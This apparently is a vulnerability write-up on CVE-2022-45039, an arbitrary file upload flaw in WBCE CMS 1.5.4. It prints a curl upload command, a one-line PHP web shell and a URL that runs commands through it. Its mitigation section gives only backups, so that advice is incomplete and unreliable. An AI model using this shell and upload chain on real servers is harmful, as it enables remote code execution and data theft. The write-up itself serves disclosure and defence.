A critical security vulnerability (CVE-2022-45039) has been discovered in the popular content management system (CMS) WBCE CMS v1.5.4. This vulnerability exists in the Server Settings module and may allow remote attackers to upload arbitrary files—including PHP files—that could lead to the execution of arbitrary code on the target server. The following post aims to shed light on the details of this vulnerability, provide code snippets to demonstrate the issue, link to the original references, and explain potential exploits.

Background

WBCE CMS (https://www.wbce.org/) is a flexible, extendable, and easy-to-use open-source content management system that allows users to create and manage their websites with minimum effort. It is built on PHP and stores data in a MySQL database. However, a vulnerability in its Server Settings module opens the door for cybercriminals to potentially gain control over both the application and the server.

Vulnerability Details

The arbitrary file upload vulnerability occurs due to improper handling of file uploads within the Server Settings module. Attackers can exploit this vulnerability by sending crafted HTTP requests containing the malicious PHP file, bypassing the intended file type restrictions. Upon successful upload, the malicious PHP file can be executed to perform various nefarious tasks, including unauthorized access to server resources and remote code execution.

To demonstrate the vulnerability, consider the following example using the 'curl' command

$ curl -X POST -H "Content-Type: multipart/form-data" -F "upload_file=@evil_code.php" "http://target.site/wbce/admin/settings/server_settings.php";

Assuming a successful response, the malicious PHP file 'evil_code.php' will be uploaded to the target server, bypassing any file type checks. The contents of 'evil_code.php' could look like this:

<?php
  system($_GET['cmd']);
?>

With the file uploaded, the attacker can now execute any arbitrary command on the server by simply accessing the uploaded file, as shown below:

http://target.site/wbce/evil_code.php?cmd=id

Original References

This vulnerability was disclosed by a security researcher in the WBCE CMS GitHub repository. You can find the original report and discussion about the issue at the following link:

- https://github.com/WBCE/WBCE_CMS/issues/446

Exploit Details

A successful exploitation of this vulnerability could have severe consequences depending on the attacker's intentions. They might gain unauthorized access to sensitive data on the web server, including user accounts, encrypted passwords, and personal information. Additionally, attackers can modify or delete the website content, deface websites, manipulate server logs to hide their tracks, or even launch further attacks on the target's network.

Mitigation

While the developers of WBCE CMS work on patching the vulnerability, it is crucial to implement security measures that can reduce the risk of exploitation. Some recommended actions include:

Regularly back up your website content and database.

As always, remaining vigilant and proactive in securing your web applications is key to preventing security breaches that may have damaging consequences.

Timeline

Published on: 11/25/2022 16:15:00 UTC
Last modified on: 11/28/2022 21:07:00 UTC